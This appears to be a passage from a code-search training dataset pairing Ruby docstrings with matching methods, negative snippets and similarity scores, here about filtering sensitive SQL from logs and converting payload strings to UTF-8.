"0.5896885",
"0.58949924"
] |
0.0
|
-1
|
Public: Prevents sensitive data from being logged event An ActiveSupport::Notifications::Event Returns a boolean.
|
def sql(event)
payload = crypt_keeper_payload_parse(event.payload[:sql])
event.payload[:sql] = crypt_keeper_filter_postgres_log(payload)
super(event)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def filter\n # #YELLOW\n if @event['check']['alert'] == false # rubocop:disable GuardClause\n puts 'alert disabled -- filtered event ' + [@event['client']['name'], @event['check']['name']].join(' : ')\n exit 0\n end\n end",
"def eventless?\n ! @event\n end",
"def logged?;\n false\n end",
"def distracted?\n false\n end",
"def ignore_event?\n # Explicitly ignore GitHub ping events\n return true if request.env['HTTP_X_GITHUB_EVENT'] == 'ping'\n\n list = @config['repository_events']\n event = request.env['HTTP_X_GITHUB_EVENT']\n\n # negate this, because we should respond if any of these conditions are true\n ! (list.nil? or list == event or list.include?(event))\n end",
"def skip_email_changed_notification!; end",
"def ignore_event?\n # Explicitly ignore GitHub ping events\n return true if request.env['HTTP_X_GITHUB_EVENT'] == 'ping'\n\n list = $config['repository_events']\n event = request.env['HTTP_X_GITHUB_EVENT']\n\n # negate this, because we should respond if any of these conditions are true\n ! (list.nil? or list == event or list.include?(event))\n end",
"def skip_password_change_notification!; end",
"def suppress?\n !!@suppress\n end",
"def audit?\n false\n end",
"def filter(event)\n @logger.debug('filtering event:')\n @logger.debug(event)\n unless filter_send_event(event)\n @logger.debug('event type should not be sent')\n return false\n end\n unless filter_disabled(event)\n @logger.debug('event is disabled')\n return false\n\tend\n unless filter_repeated(event)\n @logger.debug('event has not repeated enough')\n return false\n\tend\n unless filter_silenced(event)\n @logger.debug('event should be silenced')\n return false\n\tend\n unless filter_dependencies(event)\n @logger.debug('event has alerting dependencies')\n return false\n\tend\n\treturn true\n end",
"def log\r\n false\r\n end",
"def can_trigged?(event)\n false\n end",
"def handling_disabled?(event)\n event[:check][:handle] == false\n end",
"def recording_events?\n false\n end",
"def suppressed? ; @suppressed ; end",
"def allow_notification?\n true\n end",
"def auth_save_filter\n if not allowed_to_save\n # An interesting thought: could this throw an HTTP error?\n false\n else\n true\n end\n end",
"def suppressed?\n @suppressed\n end",
"def disabled?\n self.time_event <= Time.now\n end",
"def logged?; false end",
"def logged?; false end",
"def suppress_events\n self.events_suppressed = true\n yield\n self.events_suppressed = false\n end",
"def set_exclude_from_analytics\n @exclude_from_analytics = request.env['HTTP_USER_AGENT'].try(:match, /http/i) || request.remote_ip == \"68.108.56.31\" || (!current_user.nil? && current_user.email.match(/bluefields.com/i))\n end",
"def enable_tracking\n @DoNotTrack = false\n #Enable do not track for admin and any future employees. Har har. Employees. Yah right.\n if user_signed_in? && current_user.is_admin?\n @DoNotTrack = true\n end\n true\n end",
"def secure?\n #debugger\n false\n end",
"def application_guard_allow_persistence\n return @application_guard_allow_persistence\n end",
"def unprocessable?\n dump_type != PROCESSABLE_EVENT_TYPE\n end",
"def application_guard_force_auditing\n return @application_guard_force_auditing\n end",
"def should_log?\n return false if @skip_logging\n true\n end",
"def no_event\n purchase = Purchase.where(buyer_id: current_user.id).last\n if purchase && Event.find_by(purchase_id: purchase.id).nil? \n return true\n end\n end",
"def log_user_event\n depositor.log_event( event ) if depositor.respond_to? :log_event\n end",
"def discard_a(event)\n event\n end",
"def verify(event_data)\n true\n end",
"def ignore!\n @should_ignore = true\n end",
"def unreachable_event(event)\n delayed_events.delete_if { |_, _, _, signalled, _| signalled == event }\n super if defined? super\n end",
"def filter_event(event)\n event\n end",
"def should_ignore(event)\n @ignored.any? { |ign| event.summary =~ /#{ign}/i }\n end",
"def log?\n @log != false\n end",
"def log?\n @log != false\n end",
"def log?\n @log != false\n end",
"def is_not_pending_recovery!\n self.update_attribute(:verification_key, nil) if self.is_pending_recovery?\n end",
"def handler_check(event)\n if not @enabled\n event.respond \"Missing API Key\"\n false\n else\n true\n end\n end",
"def safe_is_restricted_value(unsafe_is_restricted)\n if current_educator.can_view_restricted_notes?\n unsafe_is_restricted\n else\n false\n end\n end",
"def notification?\n false\n end",
"def protects?(_thing)\n false\n end",
"def audit\n @audit || false\n end",
"def log_user_event\n depositor.log_event(event)\n end",
"def enduser_ignored?\n true\n end",
"def handler_enabled?\n !datastore['DisablePayloadHandler']\n end",
"def bit_locker_disable_warning_for_other_disk_encryption\n return @bit_locker_disable_warning_for_other_disk_encryption\n end",
"def indestructible_demo_user\n if Feedbunch::Application.config.demo_enabled\n demo_email = Feedbunch::Application.config.demo_email\n throw :abort if self.email == demo_email\n end\n return true\n end",
"def event?\n !! @event\n end",
"def should_be_notified\n @should_be_notified ||= true\n end",
"def audit_changed?(attr_name = nil)\n attr_name ? excepted_changes[attr_name.to_s] : !excepted_changes.empty?\n end",
"def is_applicable?(event)\n case event\n when EventNames::PRESERVE\n true\n else\n false\n end\n end",
"def consigned?\n false\n end",
"def ignore?\n @should_ignore\n end",
"def no_action_log\n true\n end",
"def notify_not!(event, object, method)\n __event_sync {\n puts \"#{to_s} will NOT notify #{object.to_s}::#{method.to_s}(#{args.join(',')}) on #{event.to_s}\"\n __event_targets(event).delete_if { |t| t[0..1] == [object, method] } if\n fires?(event)\n }\n end",
"def disable_log_to_screen\n @log_to_screen = false\n end",
"def skip_confirmation_notification!; end",
"def opt_out_of_event(event)\n self.events.delete(event) unless !self.events.include?(event)\n end",
"def is_being_suppressed?\n\t\treturn false if !suppressed?\n\t\tif DateTime.now.to_f - suppressed.to_f > 30 * 60\n\t\t\tself.suppressed = nil\n\t\t\tself.save\n\t\t\treturn false\n\t\tend\n\t\ttrue\n\tend",
"def suppressed?\n status == 'suppressed'\n end",
"def critical?\n severity == 4\n end",
"def log?\n @log ||= false\n end",
"def require_authorization!\n unless current_user == @event.user\n render json: {}, status: :forbidden\n end\n end",
"def protects?(thing)\n false\n end",
"def protect_official_eventbookings\n return true if destroyable?\n raise ActiveRecord::RecordNotDestroyed, I18n.t(:bookings_with_status_confirmed_and_waiting_cannot_be_deleted)\n end",
"def skip_trackable\n request.env['devise.skip_trackable'] = true\n end",
"def skip_trackable\n request.env['devise.skip_trackable'] = true\n end",
"def permitted_events\n events = self.states_events_config.map { |se| se[:event] }\n events.delete_if { |e| !event_permitted(e) }\n end",
"def check_data_no_auth(ref)\n check_data(Event.last, ref, [:authtoken], true)\n end",
"def autolog_event(event, orphan: nil)\n return unless RunLevel.is_normal?\n\n if autolog_events.include?(event)\n touch = false\n elsif autolog_events.include?(\"#{event}!\".to_sym)\n touch = true\n else\n return\n end\n\n type = type_tag\n msg = \"log_#{type}_#{event}\".to_sym\n orphan ? orphan_log(msg, touch: touch) : log(msg, touch: touch)\n end",
"def recordable?(event_name, metric_name)\n event_name[0] == '!' \\\n || metric_name == 'View/text template/Rendering' \\\n || metric_name == \"View/#{::NewRelic::Agent::UNKNOWN_METRIC}/Partial\"\n end",
"def is_an_event_planner?\n !self.encrypted_password.blank?\n end",
"def notify?\n false\n end",
"def disable_log_instrumentation!\n NewRelic::Agent::Instrumentation::Logger.mark_skip_instrumenting(@log)\n end",
"def signalled event\n @signalled_actions and @signalled_actions[event]\n end",
"def unique_disabled?\n !unique_enabled?\n end",
"def silence_logging\n Rails.logger.silence do\n yield\n end\n end",
"def suppressed_email\n @attributes[:suppressed_email]\n end",
"def stored_offsite?\n (@trustee == true || (! billing_key.blank? && !changed?))\n end",
"def soy_edificable\n return false\n end",
"def soy_edificable\n return false\n end",
"def application_guard_block_non_enterprise_content\n return @application_guard_block_non_enterprise_content\n end",
"def audit_me_enabled_for_controller\n true\n end",
"def private?\n !@data[:channel]\n end",
"def suppressed?\n suppressions = {}\n SUPPRESSION_TYPES.each do |suppression_type|\n if response = fetch_surpressed(suppression_type)\n suppressions[suppression_type] = response\n end\n end\n suppressions\n end",
"def without_persisting(record)\n if record.class.respond_to? :suppress\n record.class.suppress { yield }\n else\n yield\n end\n end",
"def notify_on_errs\n !(self[:notify_on_errs] == false)\n end",
"def message_soft_lock_prevent\n if $game_temp.message_window_showing\n log_error('Message were still showing!')\n $game_temp.message_window_showing = false\n end\n end",
"def evented\n @evented = true\n end",
"def skip_confirmation_notification!\n @skip_confirmation_notification = true\n end",
"def supporting_method\n logger.warn 'This does nothing'\n end",
"def without_auditing\n auditing_was_enabled = auditing_enabled\n disable_auditing\n yield\n ensure\n enable_auditing if auditing_was_enabled\n end",
"def prevent_call_sign_screen\n root_url == request.original_url && !user_signed_in?\n end",
"def allow_statistics_logging(contributable_or_version)\n \n # check if the current viewing/download is to be logged\n # (i.e. request is sent not by a bot and is legitimate)\n allow_logging = true\n Conf.bot_ignore_list.each do |pattern|\n if request.env['HTTP_USER_AGENT'] and request.env['HTTP_USER_AGENT'].match(pattern)\n allow_logging = false\n break\n end\n end\n \n # disallow logging of events referring to contributables / versions of them\n # that have been uploaded by current user; \n #\n # however, if there are newer versions of contributable (uploaded not by the original uploader),\n # we do want to record viewings/downloads of this newer version by the original uploader \n if allow_logging && current_user != 0\n allow_logging = false if (contributable_or_version.contributor_type == \"User\" && contributable_or_version.contributor_id == current_user.id)\n end\n \n return allow_logging\n end",
"def allow_statistics_logging(contributable_or_version)\n \n # check if the current viewing/download is to be logged\n # (i.e. request is sent not by a bot and is legitimate)\n allow_logging = true\n Conf.bot_ignore_list.each do |pattern|\n if request.env['HTTP_USER_AGENT'] and request.env['HTTP_USER_AGENT'].match(pattern)\n allow_logging = false\n break\n end\n end\n \n # disallow logging of events referring to contributables / versions of them\n # that have been uploaded by current user; \n #\n # however, if there are newer versions of contributable (uploaded not by the original uploader),\n # we do want to record viewings/downloads of this newer version by the original uploader \n if allow_logging && current_user != 0\n allow_logging = false if (contributable_or_version.contributor_type == \"User\" && contributable_or_version.contributor_id == current_user.id)\n end\n \n return allow_logging\n end",
"def allow_unsynced_production_writes?\n !!Rails.configuration.x.stagehand.allow_unsynced_production_writes\n end"
] |
[
"0.5934395",
"0.58624554",
"0.5790343",
"0.57145536",
"0.5683298",
"0.5676754",
"0.5669113",
"0.56580365",
"0.5626442",
"0.56089544",
"0.5577541",
"0.5576838",
"0.55754256",
"0.55548155",
"0.55195886",
"0.5505172",
"0.5502863",
"0.5481289",
"0.5478906",
"0.5406223",
"0.53946316",
"0.53946316",
"0.5378532",
"0.5367455",
"0.536553",
"0.53654873",
"0.53401595",
"0.5309254",
"0.530805",
"0.5307853",
"0.52788955",
"0.52660376",
"0.52588356",
"0.5238369",
"0.5232612",
"0.51964253",
"0.51884145",
"0.5183123",
"0.51735914",
"0.51735914",
"0.51735914",
"0.517259",
"0.516046",
"0.51528716",
"0.5143728",
"0.5136955",
"0.5124616",
"0.5122951",
"0.51157016",
"0.5111727",
"0.51071644",
"0.5092266",
"0.50875145",
"0.50743765",
"0.50704265",
"0.50613654",
"0.5058665",
"0.50342983",
"0.5034155",
"0.5022432",
"0.5020429",
"0.50137305",
"0.500506",
"0.49966875",
"0.49919674",
"0.49909532",
"0.49882498",
"0.49855793",
"0.49794856",
"0.49792555",
"0.49769747",
"0.49769747",
"0.49726087",
"0.496535",
"0.4963815",
"0.49610868",
"0.49609143",
"0.4960641",
"0.4959534",
"0.4951371",
"0.4948896",
"0.49396467",
"0.4937006",
"0.4935217",
"0.49343455",
"0.49343455",
"0.49324873",
"0.49195045",
"0.4909747",
"0.49073726",
"0.49057168",
"0.49040797",
"0.48894262",
"0.48846292",
"0.4879225",
"0.48777124",
"0.4874363",
"0.48701262",
"0.48579288",
"0.48579288",
"0.485664"
] |
0.0
|
-1
|
Private: Parses the payload to UTF. payload the payload string Returns a string.
|
def crypt_keeper_payload_parse(payload)
payload.encode('UTF-8', 'binary',
invalid: :replace, undef: :replace, replace: '')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def validate_payload\n raise EmptyPayloadException.new unless payload\n raise PayloadEncodingException.new unless payload.encoding.to_s == \"UTF-8\"\n raise PayloadFormattingException.new if payload =~ / /\n end",
"def validate_payload_encoding\n\t\t\tif self.opcode == :binary\n\t\t\t\tself.log.debug \"Binary payload: setting external encoding to ASCII-8BIT\"\n\t\t\t\tself.payload.set_encoding( Encoding::ASCII_8BIT )\n\t\t\telse\n\t\t\t\tself.log.debug \"Non-binary payload: setting external encoding to UTF-8\"\n\t\t\t\tself.payload.set_encoding( Encoding::UTF_8 )\n\t\t\t\t# :TODO: Is there a way to check that the data in a File or Socket will\n\t\t\t\t# transcode successfully? Probably not.\n\t\t\t\t# self.errors << \"Invalid UTF8 in payload\" unless self.payload.valid_encoding?\n\t\t\tend\n\t\tend",
"def decode(payload)\n Oj.load payload\n end",
"def payload_badchars\n opts['Payload'] ? opts['Payload']['BadChars'] : nil\n end",
"def read_payload\n ascii_str = File.read(\"/dev/urandom\", @bytes_to_read)\n utf8_str = ascii_to_utf8(ascii_str)\n formatted_str = format_string(utf8_str)\n @payload = formatted_str\n end",
"def coerce_payload(payload, error_context_str)\n c = \"\"\n had_lossy_string = false\n case payload\n when Hash\n c = payload.each_with_object({}) do |(k, v), memo|\n new_k, l = coerce_payload(k, error_context_str)\n had_lossy_string ||= l\n\n new_v, l = coerce_payload(v, error_context_str)\n had_lossy_string ||= l\n memo[new_k] = new_v\n end\n when Array\n c = payload.map do |v|\n new_v, l = coerce_payload(v, error_context_str)\n\n had_lossy_string ||= l\n new_v\n end\n when String\n coerced_str = Puppet::Util::Puppetdb::CharEncoding.coerce_to_utf8(payload)\n\n if coerced_str != payload\n had_lossy_string = true\n\n if Puppet.settings[:log_level] == \"debug\"\n Puppet.debug error_context_str + \"\\n\" + Puppet::Util::Puppetdb::CharEncoding.error_char_context(coerced_str)\n end\n end\n\n c = coerced_str\n else\n c = payload\n end\n\n [c, had_lossy_string]\n end",
"def xlunicodestring(data)\n io = data.to_sio\n cch, flags = io.read(3).unpack('vC')\n _read_unicodestring(io, cch, flags)\n end",
"def decode(payload)\n map45_chars(payload).each_slice(3).flat_map do |c, d, e|\n c && d or raise ForbiddenLengthError\n v = c + d * 45\n bytes_from_base45(e, v)\n end.pack(\"C*\")\n end",
"def decoder(string)\n string.gsub(/(WUB)+/, ' ').strip\nend",
"def parse_string(content, ptype = T.unsafe(nil)); end",
"def unescape_stringify(str)\n chars = {\n 'a' => \"\\x07\", 'b' => \"\\x08\", 't' => \"\\x09\", 'n' => \"\\x0a\", 'v' => \"\\x0b\", 'f' => \"\\x0c\",\n 'r' => \"\\x0d\", 'e' => \"\\x1b\", \"\\\\\\\\\" => \"\\x5c\", \"\\\"\" => \"\\x22\", \"'\" => \"\\x27\"\n }\n # Escape all the things\n str.gsub(/\\\\(?:([#{chars.keys.join}])|u([\\da-fA-F]{4}))|\\\\0?x([\\da-fA-F]{2})/) {\n if $1\n if $1 == '\\\\'\n then '\\\\'\n else\n chars[$1]\n end\n elsif $2\n [\"#$2\".hex].pack('U*')\n elsif $3\n [$3].pack('H2')\n end\n }\n end",
"def unicode_filter_decode(str)\n self.encode_unicode ? Rex::Text.unicode_filter_decode(str) : str\n end",
"def to_utf8(s)\n return force_encoding(s.gsub(/&(.*?)-/n) {\n if $1.empty?\n \"&\"\n else\n base64 = $1.tr(\",\", \"/\")\n x = base64.length % 4\n if x > 0\n base64.concat(\"=\" * (4 - x))\n end\n base64.unpack(\"m\")[0].unpack(\"n*\").pack(\"U*\")\n end\n }, \"UTF-8\")\n end",
"def he_decode(text); self.class.he_decode text; end",
"def test_decode_string()\n input = [\n 131, 107, 0, 24, 110, 111, 119, 32, 103, 101, 116, 32, 121, 111,\n 117, 114, 32, 97, 115, 115, 32, 116, 111, 32, 109, 97, 114, 115]\n expected = \"now get your ass to mars\"\n\n stream = Erlang::StreamEmulator.new(input)\n actual = Erlang::decode(stream)\n\n assert_equal(expected, actual)\n end",
"def decode_string(str)\n\nend",
"def unicode(str)\n Rex::Text.to_unicode(str)\n end",
"def unescape(val)\n\tval.gsub!(/(\\\\x[\\da-f]{2}|\\\\u[\\da-f]{4})/) { [$1[2..-1].hex].pack('U') }\n\tval\nend",
"def unpack_encoded_string_to_unsigned_chars(encoded_string)\n # walk first to find how big it is.\n size = 0\n i = 0\n while i < encoded_string.length\n size += encoded_string.char_at(i)\n i += 2\n end\n data = CharArray.new(size)\n di = 0\n i_ = 0\n while i_ < encoded_string.length\n n = encoded_string.char_at(i_)\n v = encoded_string.char_at(i_ + 1)\n # add v n times to data\n j = 1\n while j <= n\n data[((di += 1) - 1)] = v\n j += 1\n end\n i_ += 2\n end\n return data\n end",
"def to_utf8 untrusted_string=\"\"\n ic = Iconv.new('UTF-8//IGNORE', 'ISO-8859-15')\n ic.iconv(untrusted_string)\n #ic.iconv(untrusted_string + ' ')[0..-2]\n end",
"def to_utf8 untrusted_string=\"\"\n ic = Iconv.new('UTF-8//IGNORE', 'ISO-8859-15')\n ic.iconv(untrusted_string)\n #ic.iconv(untrusted_string + ' ')[0..-2]\n end",
"def read_utf!(bytes, md)\n utf_length = read_unsigned_short!(bytes, md)\n bytes = bytes.slice!(0..(utf_length - 1))\n md << bytes\n bytes\n end",
"def unicode(str)\n Rex::Text.to_unicode(str)\n end",
"def payload; message[:payload]; end",
"def decode(text); end",
"def transcode(str)\n str.force_encoding('UTF-8')\nend",
"def fix_utf8(s=nil)\n s=self if s.nil? #if we are included\n if String.method_defined?(:scrub)\n #Ruby 2.1\n #cf http://ruby-doc.org/core-2.1.0/String.html#method-i-scrub\n return s.scrub {|bytes| '<'+bytes.unpack('H*')[0]+'>' }\n else\n return DR::Encoding.to_utf8(s)\n end\n end",
"def shift_string(buffer)\n len = shift_short(buffer)\n str = shift_data(buffer,len)\n # Strings in MQTT v3.1 are all UTF-8\n str.force_encoding('UTF-8')\n end",
"def payload\n @payload ||= JSON.parse(@message.value)\n end",
"def read_string(data, offset, length, encoding)\n if \"UTF-16\".casecmp(encoding) == 0\n out = data[offset, length].unpack('v*').pack('U*')\n else\n out = data[offset, length].unpack('C*').pack('U*')\n end\n return out\n end",
"def convert_encoding(content); end",
"def decode_json_scrp\n self\n .gsub('\\u0022', '\"')\n .gsub('\\u00E0', \"à\")\n .gsub('\\u00E2', \"â\")\n .gsub('\\u00E8', \"è\")\n .gsub('\\u00E9', \"é\")\n .gsub('\\u00E7', \"ç\")\n .gsub('\\u00F9', \"ù\")\n .gsub('\\u0026', \"&\")\n .gsub('\\u20AC', \"€\")\n .gsub('\\u0027', \"'\")\n .gsub('\\u00A0', \"\")\n .gsub('\\u00C8', \"È\")\n .gsub('\\u00B2', \"²\")\n .gsub('\\u00C9', \"É\")\n .gsub('\\\\\"', '\"')\n end",
"def unescape(value)\n return nil if value.nil?\n regex = /\\\\(?:([nevfbart\\\\])|0?x([0-9a-fA-F]{2})|u([0-9a-fA-F]{4}))/\n value.gsub(regex) do\n if Regexp.last_match(3)\n [Regexp.last_match(3).to_s.hex].pack('U*')\n elsif Regexp.last_match(2)\n [Regexp.last_match(2)].pack('H2')\n else\n UNESCAPES[Regexp.last_match(1)]\n end\n end\n end",
"def transcode(str)\n return str.force_encoding(Encoding::UTF_8)\nend",
"def convert_payload_to_message(payload)\n message_array = []\n SSE_FIELDS.each do |field|\n value = if payload[field]\n payload[field]\n elsif field == :id\n SecureRandom.hex\n end\n\n message_array << \"\\n#{field}: #{value}\" if value\n end\n\n message_array << \"\\n\\n\"\n message_array.join(\"\")\n end",
"def shift_string(buffer)\n len = shift_short(buffer)\n str = shift_data(buffer, len)\n # Strings in MQTT v3.1 are all UTF-8\n str.force_encoding('UTF-8')\n end",
"def parse_string( instr )\n post_mllp = instr\n if /\\x0b((:?.|\\r|\\n)+)\\x1c\\r/.match( instr )\n post_mllp = $1 #strip the mllp bytes\n end\n HL7::MessageParser.split_by_delimiter(post_mllp, @delimiter.segment)\n end",
"def to_utf7(s)\n return force_encoding(force_encoding(s, 'UTF-8').gsub(/(&)|([^\\x20-\\x7e]+)/u) {\n if $1\n \"&-\"\n else\n base64 = [$&.unpack(\"U*\").pack(\"n*\")].pack(\"m\")\n \"&\" + base64.delete(\"=\\n\").tr(\"/\", \",\") + \"-\"\n end\n }, \"ASCII-8BIT\")\n end",
"def unencode_javascript_unicode_escape(str)\n if str.respond_to?(:gsub!)\n str.gsub!(/\\\\u([0-9a-fA-F]{4})/) do |s| \n int = $1.to_i(16)\n if int.zero? && s != \"0000\"\n s\n else\n [int].pack(\"U\")\n end\n end\n end\n str\n end",
"def unescape(string,encoding=@@accept_charset)\n str=string.tr('+', ' ').b.gsub(/((?:%[0-9a-fA-F]{2})+)/) do |m|\n [m.delete('%')].pack('H*')\n end.force_encoding(encoding)\n str.valid_encoding? ? str : str.force_encoding(string.encoding)\n end",
"def force_utf8_encoding(msg)\n msg.respond_to?(:force_encoding) && msg.encoding.name != 'UTF-8' ? msg.force_encoding('UTF-8') : msg\n rescue StandardError\n nil\n end",
"def sterilize(str)\n str.encode!('UTF-8', 'binary', invalid: :replace, undef: :replace, replace: '')\n str.gsub!(0x00.chr,'[NUL]')\n str.gsub!(0x01.chr,'[SOH]')\n str.gsub!(0x02.chr,'[STX]')\n str.gsub!(0x03.chr,'[ETX]')\n str.gsub!(0x04.chr,'[EOT]')\n str.gsub!(0x05.chr,'[ENQ]')\n str.gsub!(0x06.chr,'[ACK]')\n str.gsub!(0x07.chr,'[BEL]')\n # 0x08 is backspace\n # 0x09 is TAB\n # 0x10 is line feed\n str.gsub!(0x0B.chr,'[VT]')\n # 0x0c is form feed\n # 0x0d is carriage return\n str.gsub!(0x0E.chr,'[SO]')\n str.gsub!(0x0F.chr,'[SI]')\n str.gsub!(0x10.chr,'[DLE]')\n str.gsub!(0x11.chr,'[DC1]')\n str.gsub!(0x12.chr,'[DC2]')\n str.gsub!(0x13.chr,'[DC3]')\n str.gsub!(0x14.chr,'[DC4]')\n str.gsub!(0x15.chr,'[NAK]')\n str.gsub!(0x16.chr,'[SYN]')\n str.gsub!(0x17.chr,'[ETB]')\n str.gsub!(0x18.chr,'[CAN]')\n str.gsub!(0x19.chr,'[EM]')\n str.gsub!(0x1a.chr,'[SUB]')\n str.gsub!(0x1C.chr,'[FS]')\n str.gsub!(0x1D.chr,'[GS]')\n str.gsub!(0x1E.chr,'[RS]')\n str.gsub!(0x1F.chr,'[US]')\n str\n end",
"def decode_string(bytes)\n bytes.map(&:chr)\n .join\n .gsub(/#{0.chr}*$/, '')\n end",
"def convert_unicode(str)\n while true\n u_idx = str.index(/\\\\u[0-9a-fA-F]{4}/)\n break if u_idx == nil\n\n u_str = str.slice(u_idx, 6)\n str.sub!(u_str, u_str[2..5].hex.chr)\n end\n str\n end",
"def clean_utf8 raw_s, *opts\n\n fail(\"Not a string: #{raw_s.inspect}\") unless raw_s.is_a?(String)\n\n # === Check options. ==================================================================\n @plaintext_allowed_options ||= [ :spaces, :tabs ]\n invalid_opts = opts - @plaintext_allowed_options\n fail(ArgumentError, \"INVALID OPTION: #{invalid_opts.inspect}\" ) if !invalid_opts.empty?\n # =====================================================================================\n\n raw_s = raw_s.dup\n\n # === Save tabs if requested.\n raw_s.gsub!(TAB, HTML_TAB) if opts.include?(:tabs)\n\n raw_s.encode!(Encoding.find('utf-8') , ENCODING_OPTIONS_CLEAN_UTF8)\n raw_s.scrub!\n raw_s.gsub!(TAB , TWO_SPACES)\n raw_s.gsub!(MULTI_CONTROL_AND_UNPRINTABLE , BLANK)\n raw_s.gsub!(REGEX_UNSUITABLE_CHARS , ' ')\n\n clean = raw_s.to_nfkc\n\n # Save whitespace or strip.\n if !opts.include?(:spaces)\n clean.strip!\n end\n\n # Put back tabs by request.\n if opts.include?(:tabs)\n clean.gsub!(HTML_TAB, TAB)\n end\n\n clean\n end",
"def payload_badchars(explicit_target = nil)\n explicit_target ||= target\n\n if (explicit_target and explicit_target.payload_badchars)\n explicit_target.payload_badchars\n else\n payload_info['BadChars']\n end\n end",
"def decode_body(str)\n @serializer.decode(str)\n end",
"def decode_body(str)\n @serializer.decode(str)\n end",
"def str_value\n return @str_value unless @str_value.nil?\n if is_string != 0\n io = _parent.strings._io\n _pos = io.pos\n io.seek(value_or_ofs_value)\n @str_value = (io.read_bytes_term(0, false, true, true)).force_encoding(\"UTF-8\")\n io.seek(_pos)\n end\n @str_value\n end",
"def unicode(str)\n\t\tRex::Text.to_unicode(str)\n\tend",
"def convert_to_utf8(s)\n # If this string is already valid UTF-8 just hand it back\n if (!@mail.charset || @mail.charset == 'UTF-8') && s.as_utf8.valid?\n s.force_encoding(\"UTF-8\") if s.respond_to?(:force_encoding)\n return s\n end\n\n # First lets try to detect the encoding if the message didn't specify\n if !@mail.charset && detection = CharlockHolmes::EncodingDetector.detect(s)\n @mail.charset = detection[:encoding]\n end\n\n # if the encoding was already set or we just detected it AND it's not already\n # set to UTF-8 - try to transcode the body into UTF-8\n if @mail.charset && @mail.charset != 'UTF-8'\n if s.size > 0\n s = CharlockHolmes::Converter.convert s, @mail.charset, 'UTF-8'\n else\n s = \"\"\n end\n end\n\n # By the time we get here, `s` is either UTF-8 or we need to force it to be\n # But, even if it's UTF-8 we could be in the case where the charset on the\n # message was set to UTF-8 but is in fact invalid.\n # So for either case, we want to make sure the output is valid UTF-8 - even\n # if it means mutating the invalid string.\n # Also we're not reusing the String::UTF8 version of `s` from above here\n # because by this point, it may be a new string.\n s.as_utf8.clean.as_raw\n end",
"def translate_data(data)\n if data[0..3] == \"\\x4c\\x6f\\xa7\\x94\"\n # EBCDIC\n data = _ebcdic_to_ascii(data)\n elsif data[0..3] == \"\\x00\\x3c\\x00\\x3f\"\n # UTF-16BE\n data = uconvert(data, 'utf-16be', 'utf-8')\n elsif data.size >= 4 and data[0..1] == \"\\xfe\\xff\" and data[2..3] != \"\\x00\\x00\"\n # UTF-16BE with BOM\n data = uconvert(data[2..-1], 'utf-16be', 'utf-8')\n elsif data[0..3] == \"\\x3c\\x00\\x3f\\x00\"\n # UTF-16LE\n data = uconvert(data, 'utf-16le', 'utf-8')\n elsif data.size >=4 and data[0..1] == \"\\xff\\xfe\" and data[2..3] != \"\\x00\\x00\"\n # UTF-16LE with BOM\n data = uconvert(data[2..-1], 'utf-16le', 'utf-8')\n elsif data[0..3] == \"\\x00\\x00\\x00\\x3c\"\n # UTF-32BE\n data = uconvert(data, 'utf-32be', 'utf-8')\n elsif data[0..3] == \"\\x3c\\x00\\x00\\x00\"\n # UTF-32LE\n data = uconvert(data, 'utf-32le', 'utf-8')\n elsif data[0..3] == \"\\x00\\x00\\xfe\\xff\"\n # UTF-32BE with BOM\n data = uconvert(data[4..-1], 'utf-32BE', 'utf-8')\n elsif data[0..3] == \"\\xff\\xfe\\x00\\x00\"\n # UTF-32LE with BOM\n data = uconvert(data[4..-1], 'utf-32LE', 'utf-8')\n elsif data[0..2] == \"\\xef\\xbb\\xbf\"\n # UTF-8 with BOM\n data = data[3..-1]\n else\n # ASCII-compatible\n end\n return data\nend",
"def parse(payload)\n parse_action(payload)\n end",
"def hex_string_decode(value)\n return value if value == \"\"\n case @oid\n when *$HEXSTRING_HEX_OIDS then unpack_hex(value)\n when *$HEXSTRING_STR_OIDS then printable(value)\n else #lets attempt an educated guess\n if !unprintable_bytes(value).empty? || empty_print(value)\n unpack_hex(value)\n else\n printable(value)\n end\n end\n end",
"def clean_string_for_json(str)\n str.to_s.force_encoding(UTF8)\n end",
"def decode(msg)\n if(msg.to_s(2).length == 112)\n df, ca, icao, me, pi = self.parse_segment_msg(msg)\n if(self.is_identification_tc(me))\n return (error, tc, ca, name = self.decode_icao_value(me))\n end\n\n else\n return \"NOT_VALID_LENGTH_TRAME\", nil\n end\n end",
"def force_utf8_encoding(msg)\n msg.respond_to?(:force_encoding) && msg.encoding.name != 'UTF-8' ? msg.force_encoding('UTF-8') : msg\nend",
"def from_utf8(str)\n Iconv.new(Intermediate,\"UTF-8\").iconv(str).unpack(PackFormat)\n end",
"def singleq2utf\n self.gsub(\"'\", '%EF%BC%87')\n end",
"def reencode_string(input); end",
"def payload\n @payload ||= JSON.parse(fields[\"payload\"])\n end",
"def ctcp_decode(str)\n ctcp_dequote(str.delete(\"\\x01\"))\n end",
"def get_utf8_of(character)\n character.unpack('H*').first.upcase\nend",
"def generate_message(payload)\n if payload.is_a? Fixnum\n payload.to_json\n else\n if payload.nil?\n nil\n elsif payload.respond_to?(:empty?) && payload.empty?\n nil\n elsif payload.respond_to? :to_edible\n payload.to_edible\n elsif payload.is_a? String\n payload\n else\n # Not sure that this is the appropriate implementation, perhaps to_s is better\n payload.to_json\n end\n end\n end",
"def parse_item stream, encoding = nil\n decode read_item(stream)[:payload], encoding\n end",
"def to_utf8!; replace(to_utf8); end",
"def parse_payload(json)\n JSON.parse(json)\n end",
"def read_binary_unicode_string(fname,fd,length)\n # The problem is: we get the length of the string IN CHARACTERS;\n # since a char in UTF-16 can be 16 or 32 bit long, we don't really know\n # how long the string is in bytes\n buff = fd.read(2*length)\n\n @unique_table[buff] = true unless @unique_table.has_key?(buff)\n return CFString.new(Binary.charset_convert(buff,\"UTF-16BE\",\"UTF-8\"))\n end",
"def shortxlunicodestring(io)\n cch, flags = io.read(2).unpack('CC')\n _read_unicodestring(io, cch, flags)\n end",
"def urldecode\n _rfc2396_parser.unescape(self)\n end",
"def unescape(str)\n # Escape all the things\n str.gsub(/\\\\(?:([#{UNESCAPES.keys.join}])|u([\\da-fA-F]{4}))|\\\\0?x([\\da-fA-F]{2})/) {\n if $1\n if $1 == '\\\\' then '\\\\' else UNESCAPES[$1] end\n elsif $2 # escape \\u0000 unicode\n [\"#$2\".hex].pack('U*')\n elsif $3 # escape \\0xff or \\xff\n [$3].pack('H2')\n end\n }\n end",
